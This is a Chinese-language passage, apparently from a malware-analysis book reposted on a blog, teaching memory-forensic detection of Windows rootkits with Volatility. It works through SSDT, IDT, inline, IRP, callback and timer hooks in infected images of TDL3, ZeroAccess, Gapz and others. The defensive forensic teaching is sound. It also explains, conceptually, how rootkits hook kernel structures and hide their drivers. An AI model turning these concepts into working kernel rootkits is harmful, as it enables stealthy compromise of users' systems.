一般来说,ntoskrnl.exe导出核心内核 API 函数,如NtReadFile()NtWriteFile()等。在 x86 平台中,这些内核函数的指针直接存储在 SSDT 中,而在 x64 平台中,SSDT 不包含指针。相反,它存储一个编码的整数,通过解码该整数来确定内核函数的地址。无论实现方式如何,概念都是相同的,SSDT 被查询以确定特定内核函数的地址。以下是Windows7 x86平台上的WinDbg命令,用于显示 SSDT 的内容。表格中的条目包含指向ntoskrnl.exent)实现的函数的指针。条目的顺序和数量会因操作系统版本而异:

kd> dps nt!KiServiceTable
82a8f5fc 82c8f06a nt!NtAcceptConnectPort
82a8f600 82ad2739 nt!NtAccessCheck
82a8f604 82c1e065 nt!NtAccessCheckAndAuditAlarm
82a8f608 82a35a1c nt!NtAccessCheckByType
82a8f60c 82c9093d nt!NtAccessCheckByTypeAndAuditAlarm
82a8f610 82b0f7a4 nt!NtAccessCheckByTypeResultList
82a8f614 82d02611 nt!NtAccessCheckByTypeResultListAndAuditAlarm
[REMOVED]

还有第二个表格,类似于 SSDT,称为SSDT shadow。此表格存储由win32k.sys导出的与 GUI 相关的函数指针。要显示这两个表格的条目,可以使用ssdt volatility 插件,如下所示。SSDT[0]表示原生的SSDT 表格,而SSDT[1]表示SSDT shadow

$ python vol.py -f win7_x86.vmem --profile=Win7SP1x86 ssdt
Volatility Foundation Volatility Framework 2.6
[x86] Gathering all referenced SSDTs from KTHREADs...
Finding appropriate address space for tables...
SSDT[0] at 82a8f5fc with 401 entries
  Entry 0x0000: 0x82c8f06a (NtAcceptConnectPort) owned by ntoskrnl.exe
  Entry 0x0001: 0x82ad2739 (NtAccessCheck) owned by ntoskrnl.exe
  Entry 0x0002: 0x82c1e065 (NtAccessCheckAndAuditAlarm) owned by ntoskrnl.exe
  Entry 0x0003: 0x82a35a1c (NtAccessCheckByType) owned by ntoskrnl.exe
  [REMOVED]
SSDT[1] at 96c37000 with 825 entries
  Entry 0x1000: 0x96bc0e6d (NtGdiAbortDoc) owned by win32k.sys
  Entry 0x1001: 0x96bd9497 (NtGdiAbortPath) owned by win32k.sys
  Entry 0x1002: 0x96a272c1 (NtGdiAddFontResourceW) owned by win32k.sys
  Entry 0x1003: 0x96bcff67 (NtGdiAddRemoteFontToDC) owned by win32k.sys

在 SSDT hooking 的情况下,攻击者将特定函数的指针替换为恶意函数的地址。例如,如果攻击者希望拦截写入文件的数据,可以将NtWriteFile()的指针更改为指向攻击者选择的恶意函数的地址。如下图所示:

为了检测 SSDT hooking,可以查看 SSDT 表格中不指向ntoskrnl.exewin32k.sys地址的条目。以下代码是Mader rootkit 的示例,它 hook 了多个与注册表相关的函数,并将它们指向恶意驱动程序core.sys。在此阶段,您可以使用modulesmodscandriverscan确定core.sys的基址,然后使用moddump插件将其转储到磁盘以供进一步分析:

$ python vol.py -f mader.vmem --profile=WinXPSP3x86 ssdt | egrep -v "(ntoskrnl|win32k)"
Volatility Foundation Volatility Framework 2.6
[x86] Gathering all referenced SSDTs from KTHREADs...
Finding appropriate address space for tables...
SSDT[0] at 80501b8c with 284 entries
  Entry 0x0019: 0xf66eb74e (NtClose) owned by core.sys
 Entry 0x0029: 0xf66eb604 (NtCreateKey) owned by core.sys
 Entry 0x003f: 0xf66eb6a6 (NtDeleteKey) owned by core.sys
 Entry 0x0041: 0xf66eb6ce (NtDeleteValueKey) owned by core.sys
 Entry 0x0062: 0xf66eb748 (NtLoadKey) owned by core.sys
 Entry 0x0077: 0xf66eb4a7 (NtOpenKey) owned by core.sys
 Entry 0x00c1: 0xf66eb6f8 (NtReplaceKey) owned by core.sys
 Entry 0x00cc: 0xf66eb720 (NtRestoreKey) owned by core.sys
 Entry 0x00f7: 0xf66eb654 (NtSetValueKey) owned by core.sys

使用 SSDT hooking 对攻击者的缺点在于它很容易被检测到,而且 Windows 的 64 位版本由于内核补丁保护KPP)机制,也被称为PatchGuard,会阻止 SSDT hooking(en.wikipedia.org/wiki/Kernel_Patch_Protection)。由于 SSDT 中的条目在不同版本的 Windows 中有所不同,并且在新版本中可能会发生变化,因此恶意软件作者很难编写一个可靠的 rootkit。

8.2 检测 IDT Hooking

中断描述符表IDT)存储着被称为ISR(中断服务例程或中断处理程序)的函数地址。这些函数处理中断和处理器异常。就像挂钩 SSDT 一样,攻击者可能会挂钩 IDT 中的条目,以将控制权重定向到恶意代码。要显示 IDT 条目,可以使用 idt Volatility 插件。一个挂钩 IDT 的恶意软件示例是Uroburos (Turla) rootkit。该 rootkit 挂钩了位于 0xc3 (INT C3) 索引的中断处理程序。在干净的系统中,0xC3 处的中断处理程序指向的地址位于 ntoskrnl.exe 的内存中。以下输出显示了来自干净系统的条目:

$ python vol.py -f win7.vmem --profile=Win7SP1x86 idt
Volatility Foundation Volatility Framework 2.6
   CPU   Index   Selector   Value        Module      Section 
------   ------  ---------- ----------  ---------    ------------
     0    0         0x8     0x82890200  ntoskrnl.exe  .text 
     0    1         0x8     0x82890390  ntoskrnl.exe  .text 
     0    2         0x58    0x00000000  NOT USED 
     0    3         0x8     0x82890800  ntoskrnl.exe  .text 
     [REMOVED]
     0    C1        0x8     0x8282f3f4  hal.dll       _PAGELK 
     0    C2        0x8     0x8288eea4  ntoskrnl.exe  .text 
     0    C3        0x8     0x8288eeae  ntoskrnl.exe  .text

以下输出显示了挂钩条目。您可以看到 IDT 中的 0xC3 条目指向一个 UNKNOWN 模块中的地址。换句话说,挂钩条目位于 ntoskrnl.exe 模块的范围之外:

$ python vol.py -f turla1.vmem --profile=Win7SP1x86 idt
Volatility Foundation Volatility Framework 2.6
   CPU   Index   Selector   Value        Module      Section 
------   ------  ---------- ----------  ---------    ------------
     0    0         0x8     0x82890200  ntoskrnl.exe  .text 
     0    1         0x8     0x82890390  ntoskrnl.exe  .text 
     0    2         0x58    0x00000000  NOT USED 
     0    3         0x8     0x82890800  ntoskrnl.exe  .text 
     [REMOVED]
     0    C1        0x8     0x8282f3f4  hal.dll       _PAGELK 
     0    C2        0x8     0x8288eea4  ntoskrnl.exe  .text 
     0    C3        0x8     0x85b422b0  UNKNOWN 

要详细分析 Uroburos rootkit,并了解 rootkit 用于触发挂钩中断处理程序的技术,请参阅以下博客文章:www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg

8.3 识别内核空间内联钩取

攻击者可以通过修改内核函数或现有内核驱动程序中的函数,使用 jmp 指令将执行流重新路由到恶意代码,而不是替换 SSDT 中的指针,这样更容易被识别。如本章前面所述,您可以使用 apihooks 插件来检测内核空间中的内联钩取。通过指定 -P 参数,您可以告诉 apihooks 插件仅扫描内核空间中的钩取。在以下 TDL3 rootkit 的示例中,apihooks 检测到了内核函数 IofCallDriverIofCompleteRequest 中的钩取。被挂钩的 API 函数被重定向到 0xb878dfb20xb878e6bb 这些地址,位于一个名称未知的恶意模块中(可能是因为它通过解除链接 KLDR_DATA_TABLE_ENTRY 结构来隐藏自己):

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 apihooks -P
Volatility Foundation Volatility Framework 2.6
************************************************************************
Hook mode: Kernelmode
Hook type: Inline/Trampoline
Victim module: ntoskrnl.exe (0x804d7000 - 0x806cf580)
Function: ntoskrnl.exe!IofCallDriver at 0x804ee120
Hook address: 0xb878dfb2
Hooking module: <unknown>

Disassembly(0):
0x804ee120 ff2500c25480 JMP DWORD [0x8054c200]
0x804ee126 cc           INT 3
0x804ee127 cc           INT 3
[REMOVED]

************************************************************************
Hook mode: Kernelmode
Hook type: Inline/Trampoline
Victim module: ntoskrnl.exe (0x804d7000 - 0x806cf580)
Function: ntoskrnl.exe!IofCompleteRequest at 0x804ee1b0
Hook address: 0xb878e6bb
Hooking module: <unknown>

Disassembly(0):
0x804ee1b0 ff2504c25480 JMP DWORD [0x8054c204]
0x804ee1b6 cc           INT 3
0x804ee1b7 cc           INT 3
[REMOVED]

即使钩子模块的名称未知,仍然可以检测到恶意的内核模块。在这种情况下,我们知道 API 函数被重定向到恶意模块中以0xb87开头的地址,这意味着恶意模块一定驻留在以0xb87开头的某个地址处。运行modules插件并未检测到该地址范围内的任何模块(因为它被隐藏),而modscan插件则检测到一个名为TDSSserv.sys的内核模块,该模块加载在基地址0xb878c000,大小为0x11000。换句话说,内核模块TDSSserv.sys的起始地址是0xb878c000,结束地址是0xb879d000(0xb878c000+0x11000)。你可以清楚地看到钩子地址0xb878dfb20xb878e6bb落在TDSSserv.sys的地址范围内。此时,我们已经成功识别出恶意驱动程序。你现在可以将驱动程序转储到磁盘以便进一步分析:

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 modules | grep -i 0xb878
Volatility Foundation Volatility Framework 2.6

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 modscan | grep -i 0xb878
Volatility Foundation Volatility Framework 2.6
0x0000000009773c98 TDSSserv.sys 0xb878c000 0x11000 \systemroot\system32\drivers\TDSSserv.sys

8.4 检测 IRP 函数钩子

rootkit 可以通过修改主功能表(调度例程数组)中的条目,而不是钩住内核 API 函数,将它们指向恶意模块中的某个例程。例如,rootkit 可以通过覆盖驱动程序主功能表中与IRP_MJ_WRITE相关的地址,来检查写入磁盘或网络的数据缓冲区。以下图示说明了这一概念:

通常,驱动程序的 IRP 处理程序函数会指向它们自己模块中的某个位置。例如,null.sysIRP_MJ_WRITE相关例程指向null.sys中的一个地址,但有时驱动程序会将处理程序函数转发到另一个驱动程序。以下是磁盘驱动程序将处理程序函数转发到CLASSPNP.SYS(存储类设备驱动程序)的示例:

$ python vol.py -f win7_clean.vmem --profile=Win7SP1x64 driverirp -r disk
Volatility Foundation Volatility Framework 2.6
--------------------------------------------------
DriverName: Disk
DriverStart: 0xfffff88001962000
DriverSize: 0x16000
DriverStartIo: 0x0
   0 IRP_MJ_CREATE                0xfffff88001979700 CLASSPNP.SYS
   1 IRP_MJ_CREATE_NAMED_PIPE     0xfffff8000286d65c ntoskrnl.exe
   2 IRP_MJ_CLOSE                 0xfffff88001979700 CLASSPNP.SYS
   3 IRP_MJ_READ                  0xfffff88001979700 CLASSPNP.SYS
   4 IRP_MJ_WRITE                 0xfffff88001979700 CLASSPNP.SYS
   5 IRP_MJ_QUERY_INFORMATION     0xfffff8000286d65c ntoskrnl.exe
   [REMOVED] 

要检测 IRP 钩子,可以关注指向另一个驱动程序的 IRP 处理程序函数,并且由于驱动程序可以将 IRP 处理程序转发到另一个驱动程序,你需要进一步调查以确认钩子。如果你在实验室环境中分析 rootkit,则可以从干净的内存映像中列出所有驱动程序的 IRP 函数,并将其与受感染的内存映像中的 IRP 函数进行比较,以查找任何修改。在以下示例中,ZeroAccess rootkit钩住了磁盘驱动程序的 IRP 函数,并将它们重定向到一个恶意模块中的函数,而该模块的地址未知(因为该模块被隐藏):

DriverName: Disk
DriverStart: 0xba8f8000
DriverSize: 0x8e00
DriverStartIo: 0x0
   0 IRP_MJ_CREATE                0xbabe2bde Unknown
 1 IRP_MJ_CREATE_NAMED_PIPE     0xbabe2bde Unknown
 2 IRP_MJ_CLOSE                 0xbabe2bde Unknown
 3 IRP_MJ_READ                  0xbabe2bde Unknown
 4 IRP_MJ_WRITE                 0xbabe2bde Unknown
 5 IRP_MJ_QUERY_INFORMATION     0xbabe2bde Unknown
   [REMOVED]

以下是modscan的输出,显示与ZeroAccess相关的恶意驱动程序(具有可疑名称)及其在内存中加载的基地址(该地址可用于将驱动程序转储到磁盘):

$ python vol.py -f zaccess_maxplus.vmem --profile=WinXPSP3x86 modscan | grep -i 0xbabe
Volatility Foundation Volatility Framework 2.6
0x0000000009aabf18 * 0xbabe0000 0x8000 \*

一些 rootkit 使用间接 IRP 钩子来避免引起怀疑。在以下示例中,Gapz Bootkit 钩住了 null.sysIRP_MJ_DEVICE_CONTROL。乍一看,一切似乎正常,因为对应于 IRP_MJ_DEVICE_CONTROL 的 IRP 处理程序地址指向 null.sys 内部。然而,仔细观察会发现差异;在一个干净的系统上,IRP_MJ_DEVICE_CONTROL 会指向 ntoskrnl.exe 中的地址(nt!IopInvalidDeviceRequest)。在这种情况下,它指向了 null.sys 中的 0x880ee040。通过反汇编地址 0x880ee040(使用 volshell 插件),您可以看到它跳转到 0x8518cad9,这个地址位于 null.sys 的范围之外:

$ python vol.py -f gapz.vmem --profile=Win7SP1x86 driverirp -r null
Volatility Foundation Volatility Framework 2.6
--------------------------------------------------
DriverName: Null
DriverStart: 0x880eb000
DriverSize: 0x7000
DriverStartIo: 0x0
   0 IRP_MJ_CREATE                   0x880ee07c Null.SYS
   1 IRP_MJ_CREATE_NAMED_PIPE        0x828ee437 ntoskrnl.exe
   2 IRP_MJ_CLOSE                    0x880ee07c Null.SYS
   3 IRP_MJ_READ                     0x880ee07c Null.SYS
   4 IRP_MJ_WRITE                    0x880ee07c Null.SYS
   5 IRP_MJ_QUERY_INFORMATION        0x880ee07c Null.SYS
   [REMOVED]
  13 IRP_MJ_FILE_SYSTEM_CONTROL      0x828ee437 ntoskrnl.exe
  14 IRP_MJ_DEVICE_CONTROL           0x880ee040 Null.SYS
  15 IRP_MJ_INTERNAL_DEVICE_CONTROL  0x828ee437 ntoskrnl.exe

$ python vol.py -f gapz.vmem --profile=Win7SP1x86 volshell
[REMOVED]
>>> dis(0x880ee040)
0x880ee040 8bff        MOV EDI, EDI
0x880ee042 e992ea09fd  JMP 0x8518cad9
0x880ee047 6818e10e88  PUSH DWORD 0x880ee118

有关 Gapz Bootkit 使用的隐身技术的详细信息,请阅读 Eugene Rodionov 和 Aleksandr Matrosov 所写的白皮书(www.welivesecurity.com/wp-content/uploads/2013/04/gapz-bootkit-whitepaper.pdf),标题为“留意 Gapz:有史以来最复杂的 Bootkit 分析”。

如前所述,检测标准的钩子技术相对简单。例如,您可以查看一些迹象,如 SSDT 条目未指向ntoskrnl.exe/win32k.sys,或者 IRP 函数指向其他地方,或者函数开始处存在跳转指令。为了避免这种检测,攻击者可以在保持调用表条目在范围内的同时实现钩子,或者将跳转指令放置在代码深处。为此,他们需要依赖于修补系统模块或第三方驱动程序。修补系统模块的问题在于,Windows 内核补丁保护(PatchGuard) 会阻止修补调用表(如 SSDT 或 IDT)以及 64 位系统上的核心系统模块。由于这些原因,攻击者要么使用依赖绕过这些保护机制的技术(如安装Bootkit/利用内核模式漏洞),要么使用受支持的方式(这些方式同样适用于 64 位系统)执行恶意代码,以便与其他合法驱动程序融合并减少被检测的风险。在接下来的章节中,我们将探讨 rootkit 使用的一些受支持的技术。

9. 内核回调和定时器

Windows 操作系统允许驱动程序注册回调例程,当特定事件发生时,该例程会被调用。例如,如果一个 rootkit 驱动程序希望监控系统上所有进程的执行和终止,它可以通过调用内核函数PsSetCreateProcessNotifyRoutinePsSetCreateProcessNotifyRoutineExPsSetCreateProcessNotifyRoutineEx2来为进程事件注册回调例程。当进程事件发生(启动或退出)时,rootkit 的回调例程将被调用,从而采取必要的措施,例如防止进程启动。以同样的方式,rootkit 驱动程序可以注册回调例程,在映像(EXE 或 DLL)被加载到内存中、文件和注册表操作执行时,或系统即将关闭时接收通知。换句话说,回调功能使 rootkit 驱动程序能够监控系统活动,并根据活动采取必要的行动。你可以通过以下链接获取一些 rootkit 可能用来注册回调例程的已记录和未记录的内核函数列表:www.codemachine.com/article_kernel_callback_functions.html。这些内核函数在不同的头文件(ntddk.hWdm.h 等)中定义,位于Windows 驱动程序工具包 (WDK) 中。获取已记录内核函数详细信息的最快方法是进行快速的 Google 搜索,这将引导你到 WDK 在线文档中的相应链接。

回调的工作方式是,特定的驱动程序创建一个回调对象,该对象是一个包含函数指针列表的结构。创建的回调对象会被发布,以便其他驱动程序可以使用。其他驱动程序随后可以将它们的回调例程注册到创建回调对象的驱动程序中 (docs.microsoft.com/en-us/windows-hardware/drivers/kernel/callback-objects)。创建回调的驱动程序可以与注册回调的内核驱动程序相同,也可以不同。要查看系统范围的回调例程,可以使用callbacks Volatility 插件。在一个干净的 Windows 系统中,通常可以看到由各种驱动程序安装的许多回调,这意味着并非所有callbacks输出中的条目都是恶意的;需要进一步分析以从可疑的内存镜像中识别恶意驱动程序。

在以下示例中,Mader rootkit 执行了SSDT hooking(在本章的检测 SSDT hooking 部分讨论),并安装了一个进程创建回调例程,以监控系统上所有进程的执行或终止。特别地,当进程事件发生时,位于恶意模块 core.sys 中地址 0xf66eb050 的回调例程将被调用。Module 列指定实现回调函数的内核模块的名称。Details 列提供安装回调的内核对象的名称或描述。在识别出恶意驱动程序后,您可以进一步调查它,或将其转储到磁盘以进行进一步分析(反汇编、AV 扫描、字符串提取等),如下所示的 moddump 命令:

$ python vol.py -f mader.vmem --profile=WinXPSP3x86 callbacks
Volatility Foundation Volatility Framework 2.6
Type                             Callback    Module        Details
---------------------------      ----------  ----------   -------
IoRegisterShutdownNotification  0xf9630c6a  VIDEOPRT.SYS  \Driver\VgaSave
IoRegisterShutdownNotification  0xf9630c6a  VIDEOPRT.SYS  \Driver\vmx_svga
IoRegisterShutdownNotification  0xf9630c6a  VIDEOPRT.SYS  \Driver\mnmdd
IoRegisterShutdownNotification  0x805f5d66  ntoskrnl.exe  \Driver\WMIxWDM
IoRegisterFsRegistrationChange  0xf97c0876  sr.sys         -
GenericKernelCallback           0xf66eb050  core.sys       -
PsSetCreateProcessNotifyRoutine 0xf66eb050  core.sys       -
KeBugCheckCallbackListHead      0xf96e85ef  NDIS.sys      Ndis miniport
[REMOVED]
$ python vol.py -f mader.vmem --profile=WinXPSP3x86 modules | grep -i core Volatility Foundation Volatility Framework 2.6
0x81772bf8  core.sys  0xf66e9000  0x12000   \system32\drivers\core.sys
$ python vol.py -f mader.vmem --profile=WinXPSP3x86 moddump -b 0xf66e9000 -D dump/
Volatility Foundation Volatility Framework 2.6
Module Base    Module Name      Result
-----------   ----------------- ------
0x0f66e9000    core.sys         OK: driver.f66e9000.sys

在以下示例中,TDL3 rootkit 安装了进程回调和映像加载回调通知。这使得 rootkit 能够监控进程事件,并在可执行映像(EXE、DLL 或内核模块)映射到内存时收到通知。条目中的模块名称设置为 UNKNOWN;这告诉您回调例程存在于一个未知模块中,这种情况发生在 rootkit 驱动程序通过取消链接 KLDR_DATA_TABLE_ENTRY 结构或运行一个孤立线程(隐藏或与内核模块分离的线程)来尝试隐藏自己时。在这种情况下,UNKNOWN 条目使您更容易发现可疑条目:

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 callbacks
Volatility Foundation Volatility Framework 2.6
Type                            Callback    Module        Details
------------------------        ----------  --------      -------
[REMOVED]
IoRegisterShutdownNotification  0x805cdef4  ntoskrnl.exe  \FileSystem\RAW
IoRegisterShutdownNotification  0xba8b873a  MountMgr.sys  \Driver\MountMgr
GenericKernelCallback           0xb878f108  UNKNOWN        -
IoRegisterFsRegistrationChange  0xba6e34b8  fltMgr.sys     -
GenericKernelCallback           0xb878e8e9  UNKNOWN        -
PsSetLoadImageNotifyRoutine     0xb878f108  UNKNOWN        -
PsSetCreateProcessNotifyRoutine 0xb878e8e9  UNKNOWN        -
KeBugCheckCallbackListHead      0xba5f45ef  NDIS.sys      Ndis miniport
[REMOVED]

即使模块名称为 UNKNOWN,通过回调例程地址,我们也可以推断出恶意模块应该位于从地址 0xb878 开始的内存区域中。从 modules 插件的输出中,您可以看到该模块已经取消链接,但 modscan 插件仍然能够检测到加载在 0xb878c000 并大小为 0x11000 的内核模块。显然,所有回调例程地址都位于该模块的范围内。现在,已知内核模块的基地址,您可以使用 moddump 插件将其转储以进行进一步分析:

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 modules | grep -i 0xb878
Volatility Foundation Volatility Framework 2.6

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 modscan | grep -i 0xb878
Volatility Foundation Volatility Framework 2.6
0x9773c98 TDSSserv.sys 0xb878c000 0x11000 \system32\drivers\TDSSserv.sys

像回调函数一样,rootkit 驱动程序可能会创建一个定时器,并在指定时间到期时获得通知。rootkit 驱动程序可以利用此功能来调度定期执行的操作。其工作原理是,rootkit 创建一个定时器并提供一个称为DPC(延迟过程调用)的回调例程,当定时器过期时,该回调例程会被调用。当回调例程被调用时,rootkit 可以执行恶意操作。换句话说,定时器是 rootkit 执行其恶意代码的另一种方式。有关内核定时器如何工作的详细信息,请参阅以下 Microsoft 文档:docs.microsoft.com/en-us/windows-hardware/drivers/kernel/timer-objects-and-dpcs

要列出内核定时器,你可以使用timers Volatility 插件。需要注意的是,定时器本身并不具有恶意性质,它只是 Windows 的一项功能,因此在干净的系统上,你会看到一些合法的驱动程序安装了定时器。像回调一样,可能需要进一步分析才能识别恶意模块。由于大多数根工具尝试隐藏它们的驱动程序,结果就会生成一些明显的痕迹,帮助你快速识别恶意模块。在以下示例中,ZeroAccess 根工具安装了一个 6000 毫秒的定时器。当时间到期时,UNKNOWN模块中的0x814f9db0地址的例程被调用。Module列中的UNKNOWN表明该模块可能被隐藏,但例程地址指向了恶意代码所在的内存范围:

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 timers
Volatility Foundation Volatility Framework 2.6
Offset(V)  DueTime                Period(ms) Signaled Routine   Module
---------- ---------------------  --------- -------- -------- ------
0x805516d0 0x00000000:0x6b6d9546  60000      Yes    0x804f3eae ntoskrnl.exe
0x818751f8 0x80000000:0x557ed358  0          -      0x80534e48 ntoskrnl.exe
0x81894948 0x00000000:0x64b695cc  10000      -      0xf9cbc6c4 watchdog.sys
0xf6819990 0x00000000:0x78134eb2  60000      Yes    0xf68021f8 HTTP.sys
[REMOVED]
0xf7228d60 0x00000000:0x714477b4  60000      Yes    0xf7220266 ipnat.sys
0x814ff790 0x00000000:0xc4b6c5b4  60000      -      0x814f9db0 UNKNOWN
0x81460728 0x00000000:0x760df068  0          -      0x80534e48 ntoskrnl.exe
[REMOVED]

除了定时器,ZeroAccess还安装了回调以监控注册表操作。同样,回调例程的地址指向相同的内存范围(以0x814f开头):

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 callbacks
Volatility Foundation Volatility Framework 2.6
Type                           Callback    Module         Details
------------------------------ ----------  -----------    -------
IoRegisterShutdownNotification 0xf983e2be  ftdisk.sys    \Driver\Ftdisk
IoRegisterShutdownNotification 0x805cdef4  ntoskrnl.exe  \FileSystem\RAW
IoRegisterShutdownNotification 0x805f5d66  ntoskrnl.exe  \Driver\WMIxWDM
GenericKernelCallback          0x814f2d60  UNKNOWN       -
KeBugCheckCallbackListHead     0xf96e85ef  NDIS.sys      Ndis miniport
CmRegisterCallback             0x814f2d60  UNKNOWN       -

尝试使用modulesmodscandriverscan插件查找UNKNOWN模块并没有返回任何结果:

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 modules | grep -i 0x814f

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 modscan | grep -i 0x814f

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 driverscan | grep -i 0x814f

检查driverscan列出的内容时,发现了可疑的条目,其中基址和大小被清零(这不正常,可能是一种绕过技巧)。基址清零解释了为什么modulesmodscandriverscan没有返回任何结果。输出还显示,恶意驱动程序的名称仅由数字组成,这进一步引发了怀疑:

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 driverscan
Volatility Foundation Volatility Framework 2.6
0x00001abf978  1  0  0x00000000  0x0  \Driver\00009602  \Driver\00009602
0x00001b017e0  1  0  0x00000000  0x0  \Driver\00009602  \Driver\00009602

通过将基址清零,根工具使得取证分析师很难确定内核模块的起始地址,这也阻止了我们导出恶意模块。我们仍然知道恶意代码的驻留位置(地址以0x814f开头)。一个引人注目的问题是,我们如何利用这些信息来确定基址?一种方法是取一个地址,减去一定字节数(比如倒着减),直到找到MZ签名,但这种方法的问题在于很难确定需要减去多少字节。最快的方法是使用yarascan插件,因为这个插件允许你在内存中扫描模式(字符串、十六进制字节或正则表达式)。由于我们正在寻找驻留在内核内存中并以0x814f开头的模块,可以使用带有-K选项的yarascan(该选项只扫描内核内存)来查找MZ签名。通过输出结果,你可以看到在地址0x814f1b80处有一个可执行文件。你可以将这个地址指定为基址,通过moddump插件将恶意模块导出到磁盘。导出的模块大小约为 53.2 KB,对应的十六进制为0xd000字节。换句话说,模块从地址0x814f1b80开始,到0x814feb80结束。所有的回调地址都在这个模块的地址范围内:

$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 yarascan -K -Y "MZ" | grep -i 0x814f
Volatility Foundation Volatility Framework 2.6
0x814f1b80 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x814f1b90 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x814f1ba0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x814f1bb0 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................
0x814f1bc0 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........!..L.!Th
0x814f1bd0 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno
0x814f1be0 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS.
0x814f1bf0 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$.......
$ python vol.py -f zaccess1.vmem --profile=WinXPSP3x86 moddump -b 0x814f1b80 -D dump/
Module Base  Module Name          Result
-----------  -------------------- ------
0x0814f1b80  UNKNOWN              OK: driver.814f1b80.sys

$ ls -al
[REMOVED]
-rw-r--r-- 1 ubuntu ubuntu 53248 Jun 9 15:25 driver.814f1b80.sys

为了确认该转储模块是否为恶意模块,它被提交到VirusTotal。来自 AV 厂商的结果确认它是ZeroAccess Rootkit(也被称为Sirefef):

概要

恶意软件作者使用各种先进技术来安装其内核驱动程序,并绕过 Windows 安全机制。一旦内核驱动程序安装完成,它可以修改系统组件或第三方驱动程序,从而绕过、偏转并转移你的取证分析。在本章中,你了解了一些最常见的 rootkit 技术,并且我们看到了如何通过内存取证来检测这些技术。内存取证是一项强大的技术,将其作为恶意软件分析的一部分,能极大地帮助你理解对手的战术。恶意软件作者经常想出新的方法来隐藏其恶意组件,因此,仅仅知道如何使用工具是不够的;理解其背后的概念也变得至关重要,以识别攻击者绕过取证工具的努力。

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(6)  评论(0)    收藏  举报